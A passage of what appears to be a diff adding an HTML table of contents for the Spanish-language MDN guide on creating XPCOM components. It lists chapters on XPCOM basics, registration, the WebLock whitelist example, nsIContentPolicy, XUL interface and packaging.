+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#XPIDL_y_Bibliotecas_de_Tipos" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#XPIDL_y_Bibliotecas_de_Tipos">XPIDL y bibliotecas de tipos</a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Servicios_de_XPCOM" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Servicios_de_XPCOM">Servicios de XPCOM</a></dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Tipos_de_XPCOM" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Tipos_de_XPCOM">Tipos de XPCOM</a>
+ <dl>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Tipos_de_M.C3.A9todos" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Tipos_de_M.C3.A9todos">Tipos de métodos</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Cuenta_de_Referencias" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Cuenta_de_Referencias">Cuenta de referencias</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#C.C3.B3digos_de_Estatus" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#C.C3.B3digos_de_Estatus">Códigos de estatus</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Correlaciones_Variables" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Correlaciones_Variables">Correlaciones variables</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#C.C3.B3digos_de_Error_Comunes_de_XPCOM" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#C.C3.B3digos_de_Error_Comunes_de_XPCOM">Códigos de errores comunes de XPCOM</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Uso_de_Componentes_XPCOM" name="Uso_de_Componentes_XPCOM"><a href="/es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM" title="es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM">Uso de componentes XPCOM</a></h3>
+
+<dl>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#Ejemplos_de_Componentes" title="es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#Ejemplos_de_Componentes">Ejemplos de componentes</a>
+
+ <dl>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#Manejador_de_Cookies" title="es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#Manejador_de_Cookies">Manejador de cookies</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#El_Componente_WebBrowserFind" title="es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#El_Componente_WebBrowserFind">El componente <strong>WebBrowserFind</strong></a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#El_Componente_WebLock" title="es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#El_Componente_WebLock">El componente <strong>WebLock</strong></a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#Uso_de_Componentes_en_Mozilla" title="es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#Uso_de_Componentes_en_Mozilla">Uso de componentes en Mozilla</a>
+ <dl>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#Localizar_los_Componentes_de_Mozilla" title="es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#Localizar_los_Componentes_de_Mozilla">Localizar los componentes de Mozilla</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#Usar_Componentes_XPCOM_en_tu_Cpp" title="es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#Usar_Componentes_XPCOM_en_tu_Cpp">Usar componentes XPCOM en tu CPP</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#XPConnect:_Usar_Componentes_XPCOM_desde_un_Script" title="es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#XPConnect:_Usar_Componentes_XPCOM_desde_un_Script">XPConnect: Usar componentes XPCOM desde un Script</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Interior_del_Componente" name="Interior_del_Componente"><a href="/es/Creación_de_Componentes_XPCOM/Interior_del_Componente" title="es/Creación_de_Componentes_XPCOM/Interior_del_Componente">Interior del Componente</a></h3>
+
+<dl>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Interior_del_Componente#Creaci.C3.B3n_de_Componentes_en_C.2B.2B" title="es/Creación_de_Componentes_XPCOM/Interior_del_Componente#Creaci.C3.B3n_de_Componentes_en_C.2B.2B">Creación de componentes en C++</a></dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Interior_del_Componente#Inicializaci.C3.B3n_de_XPCOM" title="es/Creación_de_Componentes_XPCOM/Interior_del_Componente#Inicializaci.C3.B3n_de_XPCOM">Inicio de XPCOM</a>
+ <dl>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Interior_del_Componente#Registro_de_Manifiestos_de_XPCOM" title="es/Creación_de_Componentes_XPCOM/Interior_del_Componente#Registro_de_Manifiestos_de_XPCOM">Registro de manifiestos de XPCOM</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Interior_del_Componente#M.C3.A9todos_de_Registro_en_XPCOM" title="es/Creación_de_Componentes_XPCOM/Interior_del_Componente#M.C3.A9todos_de_Registro_en_XPCOM">Métodos de registro en XPCOM</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Interior_del_Componente#Autoregistro" title="es/Creación_de_Componentes_XPCOM/Interior_del_Componente#Autoregistro">Autoregistro</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Interior_del_Componente#El_Proceso_de_Paro" title="es/Creación_de_Componentes_XPCOM/Interior_del_Componente#El_Proceso_de_Paro">El proceso de paro</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Interior_del_Componente#Tres_Partes_de_una_Biblioteca_de_Componentes_XPCOM" title="es/Creación_de_Componentes_XPCOM/Interior_del_Componente#Tres_Partes_de_una_Biblioteca_de_Componentes_XPCOM">Tres partes de una biblioteca de componentes XPCOM</a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Interior_del_Componente#XPCOM_Glue" title="es/Creación_de_Componentes_XPCOM/Interior_del_Componente#XPCOM_Glue">XPCOM Glue</a>
+ <dl>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Interior_del_Componente#La_Biblioteca_Glue" title="es/Creación_de_Componentes_XPCOM/Interior_del_Componente#La_Biblioteca_Glue">La biblioteca Glue</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Interior_del_Componente#Clases_de_Cadenas_de_XPCOM" title="es/Creación_de_Componentes_XPCOM/Interior_del_Componente#Clases_de_Cadenas_de_XPCOM">Clases de cadenas de XPCOM</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Creaci.C3.B3n_de_el_C.C3.B3digo_del_Componente" name="Creaci.C3.B3n_de_el_C.C3.B3digo_del_Componente"><a href="/es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente" title="es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente">Creación del código del componente</a></h3>
+
+<dl>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#En_lo_que_Estaremos_Trabajando" title="es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#En_lo_que_Estaremos_Trabajando">En lo que trabajaremos</a></dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Registro_de_Componentes" title="es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Registro_de_Componentes">Registro de componentes</a>
+ <dl>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#El_Programa_regxpcom" title="es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#El_Programa_regxpcom">El Programa <code>regxpcom</code></a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Alternativas_de_Registro" title="es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Alternativas_de_Registro">Alternativas de registro</a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Vistazo_del_C.C3.B3digo_Fuente_del_M.C3.B3dulo_WebLock" title="es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Vistazo_del_C.C3.B3digo_Fuente_del_M.C3.B3dulo_WebLock">Vistazo del código fuente del módulo <strong>WebLock</strong></a></dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Adentr.C3.A1ndonos:_Includes_y_Constantes_Requeridos" title="es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Adentr.C3.A1ndonos:_Includes_y_Constantes_Requeridos">Adentrándonos: inclusiones y constantes requeridas</a>
+ <dl>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Identificadores_en_XPCOM" title="es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Identificadores_en_XPCOM">Identificadores en XPCOM</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Programando_el_Proceso_de_Registro" title="es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Programando_el_Proceso_de_Registro">Programando el proceso de registro</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Los_M.C3.A9todos_de_Registro" title="es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Los_M.C3.A9todos_de_Registro">Métodos de Registro</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Creaci.C3.B3n_de_una_Instancia_de_tu_Componente" title="es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#Creaci.C3.B3n_de_una_Instancia_de_tu_Componente">Creación de una instancia del componente</a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#webLock1.cpp" title="es/Creación_de_Componentes_XPCOM/Creación_de_el_Código_del_Componente#webLock1.cpp"><code>webLock1.cpp</code></a></dd>
+</dl>
+
+<h3 id="Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_M.C3.A1s_F.C3.A1ciles" name="Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_M.C3.A1s_F.C3.A1ciles"><a href="/es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles" title="es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles">Usar utilidades de XPCOM para facilitar el proceso</a></h3>
+
+<dl>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#Macros_XPCOM" title="es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#Macros_XPCOM">Macros XPCOM</a>
+
+ <dl>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#Macros_de_M.C3.B3dulo_de_XPCOM_gen.C3.A9ricos" title="es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#Macros_de_M.C3.B3dulo_de_XPCOM_gen.C3.A9ricos">Macros de módulos XPCOM genéricos</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#Macros_Comunes_de_Implementaci.C3.B3n" title="es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#Macros_Comunes_de_Implementaci.C3.B3n">Macros comunes de implementación</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#Macros_de_Declaraci.C3.B3n" title="es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#Macros_de_Declaraci.C3.B3n">Macros de declaración</a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#webLock2.cpp" title="es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#webLock2.cpp"><code>webLock2.cpp</code></a></dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#Clases_de_Cadenas_en_XPCOM" title="es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#Clases_de_Cadenas_en_XPCOM">Clases de cadenas en XPCOM</a>
+ <dl>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#Usando_Cadenas" title="es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#Usando_Cadenas">Implementando cadenas</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#nsEmbedString_y_nsEmbedCString" title="es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#nsEmbedString_y_nsEmbedCString"><code>nsEmbedString</code> y <code>nsEmbedCString</code></a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#Punteros_Inteligentes" title="es/Creación_de_Componentes_XPCOM/Usar_Utilidades_de_XPCOM_para_Hacer_las_Cosas_Más_Fáciles#Punteros_Inteligentes">Punteros inteligentes</a></dd>
+</dl>
+
+<h3 id="Iniciando_WebLock" name="Iniciando_WebLock"><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock">Iniciando <strong>WebLock</strong></a></h3>
+
+<dl>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Llamado_al_Arrancar" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Llamado_al_Arrancar">Llamado al arrancar</a>
+
+ <dl>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Registro_para_Notificaciones" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Registro_para_Notificaciones">Registro para notificaciones</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Obtener_Acceso_al_Manejador_de_Categor.C3.ADas" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Obtener_Acceso_al_Manejador_de_Categor.C3.ADas">Obtener acceso al manejador de categorías</a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#El_Suministro_de_Acceso_a_WebLock" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#El_Suministro_de_Acceso_a_WebLock">Suministro de acceso a <strong>WebLock</strong></a></dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Creaci.C3.B3n_del_WebLock:_Programaci.C3.B3n_de_Interf.C3.A1z" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Creaci.C3.B3n_del_WebLock:_Programaci.C3.B3n_de_Interf.C3.A1z">Crear la interfaz de programación <strong>WebLock</strong></a></dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Definir_la_Interfaz_WebLock_en_XPIDL" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Definir_la_Interfaz_WebLock_en_XPIDL">Definir la interfaz <strong>WebLock</strong> en XPIDL</a>
+ <dl>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#La_Sintaxis_XPIDL" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#La_Sintaxis_XPIDL">Sintaxis XPIDL</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Scriptable_Interfaces" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Scriptable_Interfaces">Interfaces programables</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Subclassing_nsISupports" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Subclassing_nsISupports">Subclasificar <code>nsISupports</code></a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#La_Interfaz_Web_Locking" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#La_Interfaz_Web_Locking">Interfaz Web Locking</a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Implementaci.C3.B3n_de_WebLock" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Implementaci.C3.B3n_de_WebLock">Implementación de <strong>WebLock</strong></a>
+ <dl>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Macros_de_Declaraci.C3.B3n" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Macros_de_Declaraci.C3.B3n">Macros de Declaración</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Representaci.C3.B3n_de_Valores_Devueltos_en_XPCOM" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Representaci.C3.B3n_de_Valores_Devueltos_en_XPCOM">Representación de Valores Devueltos en XPCOM</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Generaci.C3.B3n_del_C.C3.B3digo_XPIDL" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Generaci.C3.B3n_del_C.C3.B3digo_XPIDL">Generación del Código XPIDL</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Obtenci.C3.B3n_del_Servicio_WebLock_desde_un_Cliente" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Obtenci.C3.B3n_del_Servicio_WebLock_desde_un_Cliente">Obtención del Servicio <strong>WebLock</strong> Service desde un Cliente</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Implementaci.C3.B3n_de_la_Interfaz_iWebLock" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Implementaci.C3.B3n_de_la_Interfaz_iWebLock">Implementación de la Interfaz <code>iWebLock</code></a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#El_Servicio_Directorios" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#El_Servicio_Directorios">El Servicio Directorios</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Modificar_Rutas_con_nsIFile" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Modificar_Rutas_con_nsIFile">Modificar Rutas con <code>nsIFile</code></a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Manipulaci.C3.B3n_de_Archivos_con_nsIFile" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Manipulaci.C3.B3n_de_Archivos_con_nsIFile">Manipulación de Archivos con <code>nsIFile</code></a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Usar_nsILocalFile_para_leer_informaci.C3.B3n" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Usar_nsILocalFile_para_leer_informaci.C3.B3n">Usar <code>nsILocalFile</code> para leer información</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Processing_the_White_List_Data" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Processing_the_White_List_Data">Processing the White List Data</a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#iWebLock_m.C3.A9todo_por_m.C3.A9todo" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#iWebLock_m.C3.A9todo_por_m.C3.A9todo"><code>iWebLock</code> método por método</a>
+ <dl>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Lock_y_Unlock" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Lock_y_Unlock"><code>Lock</code> y <code>Unlock</code></a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#AddSite" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#AddSite"><code>AddSite</code></a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#RemoveSite" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#RemoveSite"><code>RemoveSite</code></a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#SetSites" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#SetSites"><code>SetSites</code></a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#GetNext" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#GetNext"><code>GetNext</code></a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#GetSites" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#GetSites"><code>GetSites</code></a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#HasMoreElements" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#HasMoreElements"><code>HasMoreElements</code></a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Finishing_the_Component" name="Finishing_the_Component"><a href="/es/Creating_XPCOM_Components/Finishing_the_Component" title="es/Creating_XPCOM_Components/Finishing_the_Component">Finishing the Component</a></h3>
+
+<dl>
+ <dd><a href="/es/Creating_XPCOM_Components/Finishing_the_Component#Using_Frozen_Interfaces" title="es/Creating_XPCOM_Components/Finishing_the_Component#Using_Frozen_Interfaces">Using Frozen Interfaces</a>
+
+ <dl>
+  <dd><a href="/es/Creating_XPCOM_Components/Finishing_the_Component#Copying_Interfaces_Into_Your_Build_Environment" title="es/Creating_XPCOM_Components/Finishing_the_Component#Copying_Interfaces_Into_Your_Build_Environment">Copying Interfaces Into Your Build Environment</a></dd>
+  <dd><a href="/es/Creating_XPCOM_Components/Finishing_the_Component#Implementing_the_nsIContentPolicy_Interface" title="es/Creating_XPCOM_Components/Finishing_the_Component#Implementing_the_nsIContentPolicy_Interface">Implementing the <code>nsIContentPolicy</code> Interface</a></dd>
+  <dd><a href="/es/Creating_XPCOM_Components/Finishing_the_Component#Receiving_Notifications" title="es/Creating_XPCOM_Components/Finishing_the_Component#Receiving_Notifications">Receiving Notifications</a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creating_XPCOM_Components/Finishing_the_Component#Implementing_the_nsIContentPolicy" title="es/Creating_XPCOM_Components/Finishing_the_Component#Implementing_the_nsIContentPolicy">Implementing the <code>nsIContentPolicy</code></a>
+ <dl>
+  <dd><a href="/es/Creating_XPCOM_Components/Finishing_the_Component#Uniform_Resource_Locators" title="es/Creating_XPCOM_Components/Finishing_the_Component#Uniform_Resource_Locators">Uniform Resource Locators</a></dd>
+  <dd><a href="/es/Creating_XPCOM_Components/Finishing_the_Component#Checking_the_White_List" title="es/Creating_XPCOM_Components/Finishing_the_Component#Checking_the_White_List">Checking the White List</a></dd>
+  <dd><a href="/es/Creating_XPCOM_Components/Finishing_the_Component#Creating_nsIURI_Objects" title="es/Creating_XPCOM_Components/Finishing_the_Component#Creating_nsIURI_Objects">Creating <code>nsIURI</code> Objects</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Building_the_WebLock_UI" name="Building_the_WebLock_UI"><a href="/es/Creating_XPCOM_Components/Building_the_WebLock_UI" title="es/Creating_XPCOM_Components/Building_the_WebLock_UI">Building the <strong>WebLock</strong> UI</a></h3>
+
+<dl>
+ <dd><a href="/es/Creating_XPCOM_Components/Building_the_WebLock_UI#User_Interface_Package_List" title="es/Creating_XPCOM_Components/Building_the_WebLock_UI#User_Interface_Package_List">User Interface Package List</a></dd>
+ <dd><a href="/es/Creating_XPCOM_Components/Building_the_WebLock_UI#Client_Code_Overview" title="es/Creating_XPCOM_Components/Building_the_WebLock_UI#Client_Code_Overview">Client Code Overview</a></dd>
+ <dd><a href="/es/Creating_XPCOM_Components/Building_the_WebLock_UI#XUL" title="es/Creating_XPCOM_Components/Building_the_WebLock_UI#XUL">XUL</a>
+ <dl>
+  <dd><a href="/es/Creating_XPCOM_Components/Building_the_WebLock_UI#The_XUL_Document" title="es/Creating_XPCOM_Components/Building_the_WebLock_UI#The_XUL_Document">The XUL Document</a></dd>
+  <dd><a href="/es/Creating_XPCOM_Components/Building_the_WebLock_UI#The_Locking_UI" title="es/Creating_XPCOM_Components/Building_the_WebLock_UI#The_Locking_UI">The Locking UI</a></dd>
+  <dd><a href="/es/Creating_XPCOM_Components/Building_the_WebLock_UI#Site_Adding_UI" title="es/Creating_XPCOM_Components/Building_the_WebLock_UI#Site_Adding_UI">Site Adding UI</a></dd>
+  <dd><a href="/es/Creating_XPCOM_Components/Building_the_WebLock_UI#weblock.xul" title="es/Creating_XPCOM_Components/Building_the_WebLock_UI#weblock.xul"><code>weblock.xul</code></a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creating_XPCOM_Components/Building_the_WebLock_UI#Overlaying_New_User_Interface_Into_Mozilla" title="es/Creating_XPCOM_Components/Building_the_WebLock_UI#Overlaying_New_User_Interface_Into_Mozilla">Overlaying New User Interface Into Mozilla</a>
+ <dl>
+  <dd><a href="/es/Creating_XPCOM_Components/Building_the_WebLock_UI#webLockOverlay.xul" title="es/Creating_XPCOM_Components/Building_the_WebLock_UI#webLockOverlay.xul"><code>webLockOverlay.xul</code></a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creating_XPCOM_Components/Building_the_WebLock_UI#Other_Resources" title="es/Creating_XPCOM_Components/Building_the_WebLock_UI#Other_Resources">Other Resources</a>
+ <dl>
+  <dd><a href="/es/Creating_XPCOM_Components/Building_the_WebLock_UI#weblock.css" title="es/Creating_XPCOM_Components/Building_the_WebLock_UI#weblock.css"><code>weblock.css</code></a></dd>
+  <dd><a href="/es/Creating_XPCOM_Components/Building_the_WebLock_UI#Image_Resources" title="es/Creating_XPCOM_Components/Building_the_WebLock_UI#Image_Resources">Image Resources</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Packaging_WebLock" name="Packaging_WebLock"><a href="/es/Creating_XPCOM_Components/Packaging_WebLock" title="es/Creating_XPCOM_Components/Packaging_WebLock">Packaging WebLock</a></h3>
+
+<dl>
+ <dd><a href="/es/Creating_XPCOM_Components/Packaging_WebLock#Component_Installation_Overview" title="es/Creating_XPCOM_Components/Packaging_WebLock#Component_Installation_Overview">Component Installation Overview</a></dd>
+ <dd><a href="/es/Creating_XPCOM_Components/Packaging_WebLock#Archiving_Resources" title="es/Creating_XPCOM_Components/Packaging_WebLock#Archiving_Resources">Archiving Resources</a></dd>
+ <dd><a href="/es/Creating_XPCOM_Components/Packaging_WebLock#The_WebLock_Installation_Script" title="es/Creating_XPCOM_Components/Packaging_WebLock#The_WebLock_Installation_Script">The <strong>WebLock</strong> Installation Script</a></dd>
+ <dd><a href="/es/Creating_XPCOM_Components/Packaging_WebLock#The_WebLock_Trigger_Script" title="es/Creating_XPCOM_Components/Packaging_WebLock#The_WebLock_Trigger_Script">The <strong>WebLock</strong> Trigger Script</a></dd>
+ <dd><a href="/es/Creating_XPCOM_Components/Packaging_WebLock#Distributing_Your_Component" title="es/Creating_XPCOM_Components/Packaging_WebLock#Distributing_Your_Component">Distributing Your Component</a></dd>
+</dl>
+
+<h3 id="Appendix_A_-_Setting_up_the_Gecko_SDK" name="Appendix_A_-_Setting_up_the_Gecko_SDK"><a href="/es/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK" title="es/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK">Appendix A - Setting up the Gecko SDK</a></h3>
+
+<dl>
